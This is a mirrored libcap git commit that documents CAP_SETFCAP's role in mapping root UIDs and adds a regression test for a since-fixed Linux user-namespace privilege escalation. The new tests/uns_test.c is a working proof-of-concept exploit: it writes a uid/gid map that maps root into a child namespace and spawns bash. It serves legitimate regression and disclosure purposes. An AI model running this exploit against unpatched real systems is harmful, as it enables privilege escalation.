mirror of
https://git.kernel.org/pub/scm/libs/libcap/libcap.git
synced 2026-01-26 15:39:08 +00:00
Validate that user namespaces require CAP_SETFCAP to map UID=0.
I found this corner case privilege escalation in December 2020. Now that it is fixed upstream and widely deployed, add a test so we don't regress. [If you find 'make sutotest' fails for you, you should upgrade your kernel.] Signed-off-by: Andrew G. Morgan <morgan@kernel.org>
This commit is contained in:
parent
fe4c27de24
commit
572b1f8099
@ -259,6 +259,11 @@ const (
|
||||
AUDIT_CONTROL
|
||||
|
||||
// SETFCAP allows a process to set capabilities on files.
|
||||
// Permits a process to uid_map the uid=0 of the
|
||||
// parent user namespace into that of the child
|
||||
// namespace. Also, permits a process to override
|
||||
// securebits locks through user namespace
|
||||
// creation.
|
||||
SETFCAP
|
||||
|
||||
// MAC_OVERRIDE allows a process to override Manditory Access Control
|
||||
|
||||
@ -1 +1,6 @@
|
||||
Allows a process to set capabilities on files.
|
||||
Permits a process to uid_map the uid=0 of the
|
||||
parent user namespace into that of the child
|
||||
namespace. Also, permits a process to override
|
||||
securebits locks through user namespace
|
||||
creation.
|
||||
|
||||
@ -276,6 +276,11 @@ static const char *explanation30[] = { /* cap_audit_control = 30 */
|
||||
};
|
||||
static const char *explanation31[] = { /* cap_setfcap = 31 */
|
||||
"Allows a process to set capabilities on files.",
|
||||
"Permits a process to uid_map the uid=0 of the",
|
||||
"parent user namespace into that of the child",
|
||||
"namespace. Also, permits a process to override",
|
||||
"securebits locks through user namespace",
|
||||
"creation.",
|
||||
NULL
|
||||
};
|
||||
static const char *explanation32[] = { /* cap_mac_override = 32 */
|
||||
|
||||
1
tests/.gitignore
vendored
1
tests/.gitignore
vendored
@ -5,3 +5,4 @@ libcap_launch_test
|
||||
libcap_psx_launch_test
|
||||
exploit
|
||||
noexploit
|
||||
uns_test
|
||||
|
||||
@ -8,9 +8,9 @@ include ../Make.Rules
|
||||
#
|
||||
|
||||
all:
|
||||
make libcap_launch_test
|
||||
$(MAKE) libcap_launch_test uns_test
|
||||
ifeq ($(PTHREADS),yes)
|
||||
make psx_test libcap_psx_test libcap_psx_launch_test
|
||||
$(MAKE) psx_test libcap_psx_test libcap_psx_launch_test
|
||||
endif
|
||||
|
||||
install: all
|
||||
@ -30,31 +30,32 @@ endif
|
||||
endif
|
||||
|
||||
../libcap/libcap.so:
|
||||
make -C ../libcap libcap.so
|
||||
$(MAKE) -C ../libcap libcap.so
|
||||
|
||||
../libcap/libcap.a:
|
||||
make -C ../libcap libcap.a
|
||||
$(MAKE) -C ../libcap libcap.a
|
||||
|
||||
ifeq ($(PTHREADS),yes)
|
||||
../libcap/libpsx.so:
|
||||
make -C ../libcap libpsx.so
|
||||
$(MAKE) -C ../libcap libpsx.so
|
||||
|
||||
../libcap/libpsx.a:
|
||||
make -C ../libcap libpsx.a
|
||||
$(MAKE) -C ../libcap libpsx.a
|
||||
endif
|
||||
|
||||
../progs/tcapsh-static:
|
||||
make -C ../progs tcapsh-static
|
||||
$(MAKE) -C ../progs tcapsh-static
|
||||
|
||||
test:
|
||||
ifeq ($(PTHREADS),yes)
|
||||
make run_psx_test run_libcap_psx_test
|
||||
$(MAKE) run_psx_test run_libcap_psx_test
|
||||
endif
|
||||
|
||||
sudotest: test
|
||||
make run_libcap_launch_test
|
||||
$(MAKE) run_uns_test
|
||||
$(MAKE) run_libcap_launch_test
|
||||
ifeq ($(PTHREADS),yes)
|
||||
make run_libcap_psx_launch_test run_exploit_test
|
||||
$(MAKE) run_libcap_psx_launch_test run_exploit_test
|
||||
endif
|
||||
|
||||
# unprivileged
|
||||
@ -71,6 +72,12 @@ libcap_psx_test: libcap_psx_test.c $(DEPS)
|
||||
$(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LIBPSXLIB) $(LDFLAGS)
|
||||
|
||||
# privileged
|
||||
uns_test: uns_test.c $(DEPS)
|
||||
$(CC) $(CFLAGS) $(IPATH) $< -o $@ $(LINKEXTRA) $(LIBCAPLIB) $(LDFLAGS)
|
||||
|
||||
run_uns_test: uns_test
|
||||
echo exit | sudo ./uns_test
|
||||
|
||||
run_libcap_launch_test: libcap_launch_test noop ../progs/tcapsh-static
|
||||
sudo ./libcap_launch_test
|
||||
|
||||
@ -111,6 +118,6 @@ noop: noop.c
|
||||
$(CC) $(CFLAGS) $< -o $@ --static
|
||||
|
||||
clean:
|
||||
rm -f psx_test libcap_psx_test libcap_launch_test *~
|
||||
rm -f psx_test libcap_psx_test libcap_launch_test uns_test *~
|
||||
rm -f libcap_launch_test libcap_psx_launch_test core noop
|
||||
rm -f exploit noexploit exploit.o
|
||||
|
||||
154
tests/uns_test.c
Normal file
154
tests/uns_test.c
Normal file
@ -0,0 +1,154 @@
|
||||
/*
|
||||
* Try unsharing where we remap the root user by rotating uids (0,1,2)
|
||||
* and the corresponding gids too.
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/capability.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define STACK_RESERVED 10*1024
|
||||
|
||||
struct my_pipe {
|
||||
int to[2];
|
||||
int from[2];
|
||||
};
|
||||
|
||||
static int child(void *data) {
|
||||
struct my_pipe *fdsp = data;
|
||||
static const char * const args[] = {"bash", NULL};
|
||||
|
||||
close(fdsp->to[1]);
|
||||
close(fdsp->from[0]);
|
||||
if (write(fdsp->from[1], "1", 1) != 1) {
|
||||
fprintf(stderr, "failed to confirm setuid(1)\n");
|
||||
exit(1);
|
||||
}
|
||||
close(fdsp->from[1]);
|
||||
|
||||
char datum[1];
|
||||
if (read(fdsp->to[0], datum, 1) != 1) {
|
||||
fprintf(stderr, "failed to wait for parent\n");
|
||||
exit(1);
|
||||
}
|
||||
close(fdsp->to[0]);
|
||||
if (datum[0] == '!') {
|
||||
/* parent failed */
|
||||
exit(0);
|
||||
}
|
||||
|
||||
setsid();
|
||||
|
||||
execv("/bin/bash", (const void *) args);
|
||||
perror("execv failed");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
static const char *file_formats[] = {
|
||||
"/proc/%d/uid_map",
|
||||
"/proc/%d/gid_map"
|
||||
};
|
||||
static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
|
||||
cap_value_t fscap = CAP_SETFCAP;
|
||||
cap_t orig = cap_get_proc();
|
||||
|
||||
/* Run with this one lowered */
|
||||
cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
|
||||
|
||||
struct my_pipe fds;
|
||||
if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
|
||||
perror("no pipes");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
|
||||
MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
|
||||
if (stack == MAP_FAILED) {
|
||||
perror("no map for stack");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (cap_setuid(1)) {
|
||||
perror("failed to cap_setuid(1)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (cap_set_proc(orig)) {
|
||||
perror("failed to raise caps again");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
|
||||
if (pid == -1) {
|
||||
perror("clone failed");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
close(fds.from[1]);
|
||||
close(fds.to[0]);
|
||||
|
||||
if (cap_setuid(0)) {
|
||||
perror("failed to cap_setuid(0)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (cap_set_proc(orig)) {
|
||||
perror("failed to raise caps again");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
char datum[1];
|
||||
if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
|
||||
fprintf(stderr, "failed to read child status\n");
|
||||
exit(1);
|
||||
}
|
||||
close(fds.from[0]);
|
||||
|
||||
for (int i=0; i<2; i++) {
|
||||
char *map_file;
|
||||
if (asprintf(&map_file, file_formats[i], pid) < 0) {
|
||||
perror("allocate string");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
FILE *f = fopen(map_file, "w");
|
||||
free(map_file);
|
||||
if (f == NULL) {
|
||||
perror("fopen failed");
|
||||
exit(1);
|
||||
}
|
||||
int len = fwrite(id_map, 1, strlen(id_map), f);
|
||||
if (len != strlen(id_map)) {
|
||||
goto bailok;
|
||||
}
|
||||
if (fclose(f)) {
|
||||
goto bailok;
|
||||
}
|
||||
}
|
||||
|
||||
write(fds.to[1], ".", 1);
|
||||
close(fds.to[1]);
|
||||
|
||||
fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
|
||||
if (wait(NULL) == pid) {
|
||||
exit(1);
|
||||
}
|
||||
perror("launch failed");
|
||||
exit(1);
|
||||
|
||||
bailok:
|
||||
fprintf(stderr, "exploit attempt failed\n");
|
||||
write(fds.to[1], "!", 1);
|
||||
exit(0);
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user